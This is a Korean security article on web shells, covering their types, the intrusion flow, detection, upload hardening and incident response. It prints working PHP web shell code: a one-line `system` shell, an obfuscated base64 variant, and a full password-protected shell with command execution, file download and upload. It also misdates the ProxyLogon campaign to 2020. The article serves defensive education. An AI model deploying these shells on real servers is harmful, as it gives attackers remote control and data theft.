웹쉘 위협의 구조와 서버 탐지·대응 방법

웹쉘의 유형과 공격 흐름, 파일 무결성·로그·네트워크 기반 탐지, 서버 격리와 복구 대응 절차를 정리한다.

2026-08-14 · 최초 발행 2025-05-26

웹쉘이 남기는 침해의 발판

웹쉘은 공격자가 웹 서버에 올린 뒤 원격 명령을 실행하도록 만드는 악성 스크립트다. PHP, ASP, JSP, Python 같은 서버 측 스크립트 언어로 작성되며, 웹 애플리케이션의 취약점을 악용해 침투한 뒤 설치되는 경우가 많다.

한 번 남겨진 웹쉘은 단순한 파일 하나로 끝나지 않는다. 서버 시스템 명령 실행과 원격 제어 권한 획득을 가능하게 하고, 내부 네트워크를 향한 추가 침투 경로와 지속적 백도어 역할을 제공한다. 데이터 유출과 시스템 손상도 뒤따를 수 있다.

2020년 마이크로소프트 Exchange 서버 취약점(ProxyLogon)을 통해 China Chopper 웹쉘이 전 세계 수만 개 서버에 설치된 사건이 발생했다. 이 사건은 기업 정보 유출과 랜섬웨어 공격으로 이어졌다.

코드 형태에 따라 달라지는 웹쉘의 흔적

단순형 웹쉘은 한 줄 정도의 짧은 코드로 구성되는 기본 형태다.

<?php system($_REQUEST['cmd']); ?>

코드가 간단한 만큼 탐지가 쉬운 편이며, 일반적으로 테스트나 초기 침투 단계에서 사용된다. URL 파라미터를 통해 명령을 실행할 수 있다. 예를 들어 http://target.com/shell.php?cmd=ls와 같은 요청 형태다.

고급형 웹쉘은 암호화, 인증, 여러 관리 기능을 묶어 복잡하게 구성한다. 패스워드 보호, 파일 업로드·다운로드·수정, 데이터베이스 관리 인터페이스, 네트워크 스캐닝 도구, 자체 난독화 기능을 포함할 수 있다. c99, r57, WSO(Web Shell by oRb)는 광범위한 기능을 제공하는 고급 웹쉘의 예다.

은닉형 웹쉘은 탐지 회피가 목적이다. 정상 파일에 삽입되거나 이미지 파일 안에 PHP 코드를 넣는 방식으로 숨을 수 있고, 코드 난독화와 암호화를 사용한다. 메모리에만 존재하는 필라리스(fileless) 방식이나 특정 조건에서만 활성화되는 트리거 방식도 여기에 속한다.

// 난독화 예시
<?php
$a = 's'.'y'.'s'.'t'.'e'.'m';
$a(base64_decode($_POST['x']));
?>

취약점 악용 뒤에 이어지는 공격 경로

웹쉘은 취약점 탐색과 공격 뒤에 업로드되며, 실행 이후 권한 상승과 추가 백도어 설치로 연결될 수 있다. 이후 내부 네트워크 침투, 데이터 유출, 지속적 접근 유지가 이어지는 흐름이다.

취약점 탐색취약점 공격웹쉘 업로드웹쉘 실행권한 상승추가 백도어 설치내부 네트워크 침투데이터 유출지속적 접근 유지

파일·로그·통신을 교차해 탐지한다

파일 무결성 모니터링(FIM)은 웹 서버 파일의 변경을 감지하는 방법이다. Tripwire, OSSEC 등의 도구를 활용하고 파일 해시값을 주기적으로 비교한다.

웹 로그에서는 비정상 요청 패턴을 살핀다. POST 요청 안의 특이 패턴, 명령 실행과 관련된 파라미터, 접근 시간과 IP 등의 이상 징후가 대상이다.

네트워크 모니터링은 비정상적인 아웃바운드 연결을 찾는 데 사용한다. C&C(Command and Control) 서버 통신이나 내부 스캐닝 활동을 탐지한다.

시그니처 기반 탐지는 알려진 웹쉘 패턴을 검사한다. 정규 표현식으로 패턴을 매칭하고 system, exec, eval 같은 악성 함수 호출을 탐지한다.

업로드 경로와 서버 권한을 먼저 줄인다

웹 애플리케이션은 정기적인 취약점 스캐닝과 패치, 웹 애플리케이션 방화벽(WAF) 도입, 파일 업로드 기능의 제한과 검증 강화를 통해 공격 표면을 줄인다.

서버 측에서는 불필요한 서비스를 비활성화하고 최소 권한 원칙을 적용하며, 중요 디렉터리의 실행 권한을 제한한다. 파일 업로드 영역은 특히 주의할 지점이다. php, asp, jsp 등 실행 가능한 확장자를 차단하고, 업로드 파일 내용을 검사하며, 업로드 디렉터리에서 실행 권한을 제거해야 한다.

정기 보안 검사에는 YARA 규칙 기반 웹쉘 스캐너, 침투 테스트, 로그 분석 자동화를 포함할 수 있다.

감염 의심 시 격리부터 사후 관리까지

감염 징후는 비정상 로그 패턴, 파일 시스템 변경 알림, 네트워크 트래픽 이상으로 발견될 수 있다. 징후를 확인하면 감염된 서버를 격리하고 웹 서비스의 일시 중단을 검토한다. 메모리 덤프와 로그를 수집해 증거를 보존한다.

분석 단계에서는 웹쉘 코드의 기능을 파악하고 공격 벡터와 침투 경로를 확인하며 피해 범위를 평가한다. 이후 악성 파일을 제거하고 취약점을 패치하며, 손상된 파일은 백업에서 복원한다. 인증 정보 변경도 복구 과정에 포함된다.

사고가 끝난 뒤에는 보안 강화 대책을 수립하고 모니터링 시스템을 개선한다. 사고 대응 프로세스 역시 검토와 개선 대상이다.

인증·파일 관리·명령 실행이 결합된 PHP 웹쉘

아래 코드는 인증 우회, 시스템 정보 수집, 파일 다운로드, 명령 실행, 파일 업로드 기능을 함께 포함한 PHP 기반 웹쉘 사례다.

<?php
// 인증 우회 기능
$auth = false;
$auth_pass = "c99_backdoor"; // 웹쉘 패스워드
if(isset($_POST['pass'])){
    if(md5($_POST['pass']) == md5($auth_pass)){
        $auth = true;
        setcookie("auth", md5($auth_pass), time()+3600);
    }
}
if(isset($_COOKIE['auth'])){
    if($_COOKIE['auth'] == md5($auth_pass)){
        $auth = true;
    }
}

// 인증 통과 후 실행되는 기능
if($auth){
    // 시스템 정보 수집
    $uname = php_uname();
    $server_software = $_SERVER['SERVER_SOFTWARE'];
    $current_dir = getcwd();

    // 파일 관리 기능
    if(isset($_GET['action']) && $_GET['action'] == 'download'){
        $file = $_GET['file'];
        if(file_exists($file)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file).'"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;
        }
    }

    // 명령 실행 기능
    if(isset($_POST['cmd'])){
        echo "<pre>";
        system($_POST['cmd']);
        echo "</pre>";
    }

    // 파일 업로드 기능
    if(isset($_FILES['upload_file'])){
        $upload_dir = isset($_POST['upload_dir']) ? $_POST['upload_dir'] : './';
        move_uploaded_file($_FILES['upload_file']['tmp_name'], $upload_dir.$_FILES['upload_file']['name']);
    }
}
?>

이 코드는 인증 기능으로 무단 접근을 막고, 시스템 정보를 수집해 환경을 분석한다. 파일 다운로드 기능은 정보 유출에 이용될 수 있으며, 명령 실행 기능은 시스템 제어를 가능하게 한다. 파일 업로드 기능은 추가 악성 코드 배포에 사용될 수 있다.

운영 점검 항목

예방 단계에서는 웹 서버 파일 시스템을 정기적으로 백업하고, 웹 애플리케이션 취약점 스캐닝 일정을 수립한다. 파일 업로드 기능의 보안을 검토하고 서버 권한을 최소화·분리하며, WAF를 구축해 규칙을 최적화한다.

탐지 단계에서는 파일 무결성 모니터링 시스템, 웹 로그 분석 자동화와 알림, 비정상 네트워크 트래픽 모니터링, 웹쉘 시그니처 데이터베이스 업데이트를 점검한다.

대응 단계에는 웹쉘 대응 플레이북, 격리와 복구 절차, 보안사고 대응팀 연락망, 포렌식 분석 도구와 절차를 준비한다.

웹쉘은 단순 침투 이후 장기적인 데이터 유출과 추가 공격을 가능하게 하는 수단이다. 개발 단계의 보안 코딩, 정기 보안 점검, 파일 업로드 기능에 대한 철저한 검토가 함께 필요하다. 기술적 통제와 더불어 개발자와 운영자가 위협을 인지하고 안전한 개발·운영 관행을 지키는 복합적 대응이 요구된다.

웹쉘서버 보안침해 대응파일 무결성웹 보안